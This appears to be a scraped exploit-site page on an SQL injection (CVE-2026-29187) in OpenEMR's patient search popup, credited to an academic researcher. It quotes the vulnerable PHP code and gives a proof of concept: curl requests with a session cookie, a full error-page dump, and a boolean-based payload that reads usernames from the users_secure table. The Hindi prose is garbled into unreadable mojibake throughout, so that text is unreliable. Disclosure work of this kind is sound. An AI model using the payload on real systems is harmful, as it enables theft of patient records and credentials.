## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-CHRISSUB08-CVE-2026-29187_SQLINJECTIONVULNERABILITYOPENEMR7.0.4
# CVE-2026-29187 - рдирдИ рдЦреЛрдЬ рдкреЙрдкрдЕрдк рдореЗрдВ SQL рдЗрдВрдЬреЗрдХреНрд╢рди рднреЗрджреНрдпрддрд╛
> рдХрдордЬреЛрд░реА CWE-89
>
>> SQL рдХрдорд╛рдВрдб рдореЗрдВ рдкреНрд░рдпреБрдХреНрдд рд╡рд┐рд╢реЗрд╖ рддрддреНрд╡реЛрдВ рдХрд╛ рдЕрдиреБрдЪрд┐рдд рдирд┐рд╖реНрдкреНрд░рднрд╛рд╡реАрдХрд░рдг ('SQL рдЗрдВрдЬреЗрдХреНрд╢рди') рдЙрддреНрдкрд╛рдж SQL рдХрдорд╛рдВрдб рдХреЗ рд╕рднреА рдпрд╛ рдХреБрдЫ рднрд╛рдЧ рдХреЛ рдХрд┐рд╕реА рдКрдкрд░реА рдШрдЯрдХ рд╕реЗ рдмрд╛рд╣реНрдп рд░реВрдк рд╕реЗ рдкреНрд░рднрд╛рд╡рд┐рдд рдЗрдирдкреБрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрдирд╛рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣ рдЙрди рд╡рд┐рд╢реЗрд╖ рддрддреНрд╡реЛрдВ рдХреЛ рдирд┐рд╖реНрдкреНрд░рднрд╛рд╡реА рдирд╣реАрдВ рдХрд░рддрд╛ рдпрд╛ рдЧрд▓рдд рддрд░реАрдХреЗ рд╕реЗ рдирд┐рд╖реНрдкреНрд░рднрд╛рд╡реА рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдЗрдЪреНрдЫрд┐рдд SQL рдХрдорд╛рдВрдб рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрдм рдЗрд╕реЗ рдирд┐рдЪрд▓реЗ рдШрдЯрдХ рдХреЛ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдирд┐рдпрдВрддреНрд░рд┐рдд рдЗрдирдкреБрдЯ рдореЗрдВ SQL рд╕рд┐рдВрдЯреИрдХреНрд╕ рдХреЛ рдкрд░реНрдпрд╛рдкреНрдд рд░реВрдк рд╕реЗ рд╣рдЯрд╛рдиреЗ рдпрд╛ рдХреЛрдЯ рдХрд░рдиреЗ рдХреЗ рдмрд┐рдирд╛, рдЙрддреНрдкрдиреНрди SQL рдХреНрд╡реЗрд░реА рдЙрди рдЗрдирдкреБрдЯ рдХреЛ рд╕рд╛рдорд╛рдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдбреЗрдЯрд╛ рдХреЗ рдмрдЬрд╛рдп SQL рдХреЗ рд░реВрдк рдореЗрдВ рд╡реНрдпрд╛рдЦреНрдпрд╛рдпрд┐рдд рдХрд░рд╛ рд╕рдХрддреА рд╣реИред MITRE рдкрд░ рдЕрдзрд┐рдХ рдЬрд╛рдиреЗрдВред
### рд╕рд╛рд░рд╛рдВрд╢
OpenEMR <8.0.0.3 рдореЗрдВ рдирдИ рдЦреЛрдЬ рдкреЙрдкрдЕрдк рдореЗрдВ рдПрдХ SQL рдЗрдВрдЬреЗрдХреНрд╢рди рднреЗрджреНрдпрддрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдкреНрд░рдорд╛рдгрд┐рдд рд╣рдорд▓рд╛рд╡рд░ рд╢реЛрд╖рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рднреЗрджреНрдпрддрд╛ рдирдИ рдЦреЛрдЬ рдкреЙрдкрдЕрдк рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдореЗрдВ рдЕрдкрд░реНрдпрд╛рдкреНрдд рдЗрдирдкреБрдЯ рд╕рддреНрдпрд╛рдкрди рдХреЗ рдХрд╛рд░рдг рдореМрдЬреВрдж рд╣реИред
### рд╡рд┐рд╡рд░рдг
рдпрд╣ рднреЗрджреНрдпрддрд╛ рдирдИ рдЦреЛрдЬ рдкреЙрдкрдЕрдк рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдореЗрдВ рд╣реЛрддреА рд╣реИ рдЬрд╣рд╛рдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рджрддреНрдд рдЗрдирдкреБрдЯ рдХреЛ select relevance рдХреЙрд▓рдо рдФрд░ where рд╢рд░реНрдд рдореЗрдВ рд╕реАрдзреЗ SQL рдХреНрд╡реЗрд░реА рдореЗрдВ рдЬреЛрдбрд╝ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдмрд┐рдирд╛ рдЙрдЪрд┐рдд рд╕реНрд╡рдЪреНрдЫрддрд╛ рдХреЗред рдпрд╣ рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЛ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг SQL рдХреЛрдб рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред
рдпрд╣ рднреЗрджреНрдпрддрд╛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкрдВрдХреНрддрд┐рдпреЛрдВ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддреА рд╣реИ:
* `interface/new/new_search_popup.php` рдкрдВрдХреНрддрд┐ 141
* `interface/new/new_search_popup.php` рдкрдВрдХреНрддрд┐ 134 рдФрд░ рдкрдВрдХреНрддрд┐ 136
* `interface/new/new_search_popup.php` рдкрдВрдХреНрддрд┐ 125 рдФрд░ рдкрдВрдХреНрддрд┐ 128
root@kitploit:~
foreach ($_REQUEST as $key => $value) {
if (!str_starts_with((string) $key, 'mf_')) {
continue; // "match field"
}
$fldname = substr((string) $key, 3);
// pubpid requires special treatment. Match on that is fatal.
if ($fldname == 'pubpid') {
$relevance .= " + 1000 * ( " . add_escape_custom($fldname) . " LIKE ? )";
array_push($sqlBindArray, $value);
} else {
$relevance .= " + ( " . add_escape_custom($fldname) . " LIKE ? )";
array_push($sqlBindArray, $value);
}
$where .= " OR " . add_escape_custom($fldname) . " LIKE ?";
array_push($sqlBindArraySpecial, $value);
echo "<input type='hidden' name='" . attr($key) . "' value='" . attr($value) . "' />\n";
++$numfields;
}
$sql = "SELECT *, ( $relevance ) AS relevance, " .
"DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS " .
"FROM patient_data WHERE $where " .
"ORDER BY relevance DESC, lname, fname, mname " .
"LIMIT " . escape_limit($fstart) . ", " . escape_limit($MAXSHOW) . "";
$sqlBindArray = array_merge($sqlBindArray, $sqlBindArraySpecial);
$rez = sqlStatement($sql, $sqlBindArray);
root@kitploit:~
SELECT *, ( 0 + ( <injection> LIKE ? ) ) AS relevance, DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS FROM patient_data WHERE 1 = 0 OR <injection> LIKE ? ORDER BY relevance DESC, lname, fname, mname LIMIT 0, 100
### PoC
root@kitploit:~
тФМтФАтФА(kaliуЙ┐kali)-[~]
тФФтФА$ curl -k -b "OpenEMR=5cb438753a9513cb01f5adc257ab474f" 'https://172.18.0.3/interface/new/new_search_popup.php?mf_"=test'
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<link rel="shortcut icon" href="/public/images/logos/core/favicon/favicon.ico?t=1766556932" />
<link rel="stylesheet" href="/public/themes/style_light.css?v=81" />
<script src="/public/assets/jquery/dist/jquery.min.js?v=81" type="text/javascript"></script>
<script src="/public/assets/bootstrap/dist/js/bootstrap.bundle.min.js?v=81" type="text/javascript"></script>
<script src="/library/js/utility.js?v=81" type="text/javascript"></script>
<script src="/interface/main/tabs/js/include_opener.js?v=81" type="text/javascript"></script>
<script src="/library/textformat.js?v=81" type="text/javascript"></script>
<script src="/library/dialog.js?v=81" type="text/javascript"></script>
<style>
form {
padding: 0;
margin: 0;
}
#searchCriteria {
text-align: center;
width: 100%;
font-size: 0.8rem;
background-color: var(--gray300);
font-weight: bold;
padding: 3px;
}
#searchResultsHeader th {
font-size: 0.7rem;
}
#searchResults {
width: 100%;
height: 80%;
overflow: auto;
}
#searchResults table {
width: 100%;
border-collapse: collapse;
background-color: var(--white);
}
#searchResults tr {
cursor: pointer;
}
#searchResults td {
font-size: 0.7rem;
border-bottom: 1px solid var(--gray200);
}
.topResult {
background-color: #ff9919;
}
.billing {
color: var(--danger);
font-weight: bold;
}
.highlight {
background-color: var(--info);
color: var(--white);
}
</style>
</head>
<body class="body_top">
<form method='post' action='new_search_popup.php' name='theform'>
<input type="hidden" name="csrf_token_form" value="8d463d08b7f4e590085af22b77cfb2d3b921cb73" />
<input type='hidden' name='fstart' value='0' />
<input type='hidden' name='mf_"' value='test' />
SQL Statement failed on preparation: SELECT *, ( 0 + ( \" LIKE ? ) ) AS relevance, DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS FROM patient_data WHERE 1 = 0 OR \" LIKE ? ORDER BY relevance DESC, lname, fname, mname LIMIT 0, 100'<br>
<h2><font color='red'>Query Error</font></h2><p><font color='red'>ERROR:</font> query failed: SELECT *, ( 0 + ( \" LIKE ? ) ) AS relevance, DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS FROM patient_data WHERE 1 = 0 OR \" LIKE ? ORDER BY relevance DESC, lname, fname, mname LIMIT 0, 100</p><p>Error: <font color='red'>You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\" LIKE ? ) ) AS relevance, DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS FROM patien...' at line 1</font></p><br />/var/www/localhost/htdocs/openemr/interface/new/new_search_popup.php at 141:sqlStatement
тФМтФАтФА(kaliуЙ┐kali)-[~]
тФФтФА$ curl -k -b "OpenEMR=5cb438753a9513cb01f5adc257ab474f" 'http://172.18.0.3/interface/new/new_search_popup.php?mf_(SELECT(username)FROM(users_secure))=ad_in%'
тФМтФАтФА(kaliуЙ┐kali)-[~]
тФФтФА$
рдЗрд╕рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдИ рддрдХрдиреАрдХреЗрдВ рд╣реИрдВ; рдЙрдирдореЗрдВ рд╕реЗ рдПрдХ рдмреВрд▓рд┐рдпрди-рдЖрдзрд╛рд░рд┐рдд рд╣рдорд▓рд╛ рд╣реИ, рдЬреЛ рдЕрдВрддрд┐рдо рдкреЗрд▓реЛрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ:
root@kitploit:~
SELECT *, ( 0 + ( (SELECT(username)FROM(users_secure)) LIKE "ad_in%" ) ) AS relevance, DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS FROM patient_data WHERE 1 = 0 OR (SELECT(username)FROM(users_secure)) LIKE "ad_in%" ORDER BY relevance DESC, lname, fname, mname LIMIT 0, 100
### рдкреНрд░рднрд╛рд╡
* рдбреЗрдЯрд╛рдмреЗрд╕ рдЬрд╛рдирдХрд╛рд░реА рддрдХ рдЕрдирдзрд┐рдХреГрдд рдкрд╣реБрдВрдЪ
* рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЪрд┐рдХрд┐рддреНрд╕рд╛ рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рд╕рдВрднрд╛рд╡рд┐рдд рдбреЗрдЯрд╛ рдЙрд▓реНрд▓рдВрдШрди
* рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди (рдХреБрдЫ рдорд╛рдорд▓реЛрдВ рдореЗрдВ)
* рдбреЗрдЯрд╛рдмреЗрд╕ рд╕реЗ рд╕рдордЭреМрддрд╛
### рднреЗрджреНрдпрддрд╛ рд╕реБрдзрд╛рд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛
1. рднреЗрджреНрдпрддрд╛ рдХрд╛ рдЖрдХрд▓рди рдФрд░ рд╕рддреНрдпрд╛рдкрди рдХрд░реЗрдВ
2. CVE ID рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░реЗрдВ рдпрд╛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░реЗрдВ
3. рдПрдХ рдирд┐рдЬреА рдлреЛрд░реНрдХ рдпрд╛ рдирд┐рдЬреА рд╢рд╛рдЦрд╛ рдмрдирд╛рдПрдВ
4. рд╕реБрдзрд╛рд░ рд╡рд┐рдХрд╕рд┐рдд рдХрд░реЗрдВ
5. рдкреНрд░рддрд┐рдЧрдорди рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рдкрд░реАрдХреНрд╖рдг рд▓рд┐рдЦреЗрдВ
6. рд░рд┐рд▓реАрдЬ рдиреЛрдЯреНрд╕ рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рд╕рд▓рд╛рд╣рдХрд╛рд░ рдорд╕реМрджрд╛ рддреИрдпрд╛рд░ рдХрд░реЗрдВ
7. рд╕реБрдзрд╛рд░ рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд░реЗрдВ (рдХреЛрдб рдорд░реНрдЬ) рдФрд░ рдПрдХ рдкреИрдЪ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╕рдВрд╕реНрдХрд░рдг рдЬрд╛рд░реА рдХрд░реЗрдВ
8. рднреЗрджреНрдпрддрд╛ рдХреЛ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд░реВрдк рд╕реЗ рдкреНрд░рдХрдЯ рдХрд░реЗрдВ
### рд╢реНрд░реЗрдп
* рд╢реЛрдзрдХрд░реНрддрд╛: Christophe SUBLET
* рд╕рдВрдЧрдарди: Grenoble INP - Esisar, UGA
* рдкрд░рд┐рдпреЛрдЬрдирд╛: CyberSkills, Orion